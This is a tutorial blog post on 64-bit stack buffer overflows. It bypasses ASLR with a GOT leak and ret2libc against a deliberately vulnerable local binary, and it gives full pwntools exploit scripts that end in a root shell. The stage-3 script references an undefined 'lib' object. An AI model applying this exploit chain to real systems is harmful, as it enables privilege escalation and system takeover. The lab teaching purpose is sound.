Buffer overflow in the 64-bit stack - Part 3
In Part 2 we used the string /bin/zsh
to the function System()
function to open a root shell. To do this, however, we had to deactivate ASLR - ASLR changes function addresses every time the programme is restarted. Superkojiman describes in detail in his Blog how to circumvent this protection. But first we have to visualise a few things
The third part of the Buffer Overflow series.
Introduction
This article is part of the Buffer Overflow series. You can find more on this topic here:
- Buffer Overflow
Theory
In Linux systems, dynamic programme libraries are usually used. This has the advantage that we do not have to rewrite every function in every programme, but can simply access the function of the system, which, for example, is stored in libc
for example. If ASLR is now activated, the addresses are changed each time the programme is started.
PLT and GOT
PLT (Procedure Linkage Table) and GOT (Global Offset Table) are responsible for the interaction during dynamic linking. The function write()
function does not point to the actual function when called, but to write@plt
. The GOT entry for the function is then requested from the PLT.
The GOT now contains all libc
addresses and PLT redirects the execution to them. If the address does not yet exist, ld.so
searches for it and saves it in the GOT. We can now utilise this principle.1)
Leak and Overwrite
To get to our root shell, we now have to do the following:
- We leak the GOT entry for the function
write()
- We need the base address for
libc
to be able to calculate the addresses of other functions. Thelibc
-base address is the difference between the address ofmemset()
and thewrite()
-offset fromlibc.so.6
- We obtain the address of a library function by calling the respective
libc.so.6
offset with thelibc
-base address - In the GOT, we overwrite an address with the one from
system()
so that we can issue a system command when calling the function
[-------------------------------------code-------------------------------------] 0x4011de <vuln+109>: lea rax,[rbp-0xa0] 0x4011e5 <vuln+116>: mov rsi,rax 0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0 0x4011f7 <vuln+134>: leave
Dependencies
C Programme
The source code and the compiled binary are also available on Github.
- bof-part3.c
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */ /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */ /* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <string.h> #include <unistd.h> void helper() { asm("pop %rdi; pop %rsi; pop %rdx; ret"); } int vuln() { char buf[150]; ssize_t b; memset(buf, 0, 150); printf("Enter input: "); b = read(0, buf, 400); printf("Recv: "); write(1, buf, b); return 0; } int main(int argc, char *argv[]){ setbuf(stdout, 0); vuln(); return 0; }
Debug
Attention!
The techniques and methods in this article are for learning purposes only. Misuse is punishable!Start socat Listener
The supplied socat has mechanisms to protect the memory. There is a modified version on Github in the Dependencies section.
/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
GOT address from write
We check where the path to the libc
is:
ldd bof-part3 linux-vdso.so.1 (0x00007ffe5d956000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000) /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)
We then find the offset for write()
function:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5
Breakpoint for write
We now have to find out at which point write()
is called.
0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0
The call is made at 0x4011ed
and we set our breakpoint here.
echo "br *0x4011ed" >> ~/.gdbinit
attach gdb to socat
gdb -q -p `pidof socat` Breakpoint 1 at 0x4011ed Attaching to process 111187
Connection with port 2323
We connect with nc and trigger the breakpoint.
nc localhost 2323 Enter input: 123 Recv: 123
Search for write GOT
Once our breakpoint is reached, we search for the write
GOT address
gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x0000000000401036 gdb-peda$ x/5i 0x0000000000401036 0x401036 <write@plt+6>: push 0x0 0x40103b <write@plt+11>: jmp 0x401020 0x401040 <setbuf@plt>: jmp QWORD PTR [rip+0x2fc2] # 0x404008 <setbuf@got.plt> 0x401046 <setbuf@plt+6>: push 0x1 0x40104b <setbuf@plt+11>: jmp 0x401020
We go one step further without jumping into the function. Then we search again.
next gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x00007f559dd76af0 gdb-peda$ x/5i 0x00007f559dd76af0 0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded> 0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32> 0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1 0x7f559dd76afe <__GI___libc_write+14>: syscall 0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000
At this point, the address points to write()
Exploit
Stage 1: write address
So let's write a first exploit to write()
to leak.
- buf3-stage1.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP Offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak)))
We run the whole thing and get the following output
[+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f6805548e80 [*] Closed connection to 127.0.0.1 port 2323
The first address has been leaked.
Stage 2 - libc Base and system
Now we need the libc base address and the address of system()
. We calculate these as follows:
- $base(libc) = got(write) - offset(write)$
- $address(system) = base(libc) + offset(system)$
We get the offset address like this:
┌──(kali㉿kali)-[~/repo] └─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
So we revise our exploit:
- buf3-stage2.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget write_off = 0x0f7af0 system_off = 0x04c920 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) libc_base = got_leak - write_off # Berechne libc Basis print("[+] libc base is at", hex(libc_base) ) system_addr = libc_base + system_off # Berechne system Adresse print("[+] system() is at", hex(system_addr) )
And now let's look at the output:
[+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f73dc1c7e80 [+] libc base is at 0x7f73dc12c340 [+] system() is at 0x7f73dc178c60 [*] Closed connection to 127.0.0.1 port 2323
Stage 3 - Overwrite address and execute code
For the last section, we need a writable memory area. To do this, we list the memory allocations in gdb.
gdb-peda$ info proc mappings process 105836 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3 0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3 0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3 0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p
The range 0x404000 - 0x405000 is writable and static. Let's take a closer look at this.
gdb-peda$ x/30i 0x404000 ... 0x404027 <read@got.plt+7>: add BYTE PTR [rax],al 0x404029: add BYTE PTR [rax],al 0x40402b: add BYTE PTR [rax],al ...
0x404029 should be perfect for our purpose.
- buf3-stage3.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget write_off = 0x0f7af0 system_off = 0x04c920 writable = 0x404029 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # padding to RIP's offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt # Teil 2: schreibe system Adresse in write got mittels read buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(bin.got[b'write']) #write@got buf+=p64(0x8) buf+=p64(bin.plt[b'read']) #read@plt # Teil 3: schreibe /bin/sh in beschreibbare Adresse buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(writable) buf+=p64(0x8) buf+=p64(bin.plt[b'read']) # Teil 4: rufe system auf buf+=p64(pop3ret) buf+=p64(writable) buf+=p64(0xdeadbeef) buf+=p64(0xcafebabe) buf+=p64(bin.plt[b'write']) buf += b'EOPAY' print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) #s2 libc_base=got_leak-write_off print(hex(lib.symbols[b'write'])) print("[+] libc base is at {}".format(hex(libc_base))) system_addr=libc_base+system_off print(hex(lib.symbols[b'system'])) print("[+] system() is at {}".format(hex(system_addr))) #part 2 print("[+] sending system() address") s.send(p64(system_addr)) #part 3 print("[+] sending /bin/zsh") s.send(b'/bin/zsh') #part 4 print("[+] trying shell") s.interactive()
Optimisations
The exploit with further pwntools optimisations and automated socat start can be found in the Github repository. The exploit was originally written by Zopho Oxx 3)
root shell
We start socat and bof-part3 as root
su root ┌──(root㉿kali)-[/home/kali/repo] └─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
and then the exploit as an unprivileged user
┌──(kali㉿kali)-[~/repo] └─$ python3 buffer3.py
We get our root shell and have control over the system.
Repository
Project files | nosoc-repo-bof-part3.zip ZIP |
---|---|
Size | 9.93 KB |
Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 |
Discussion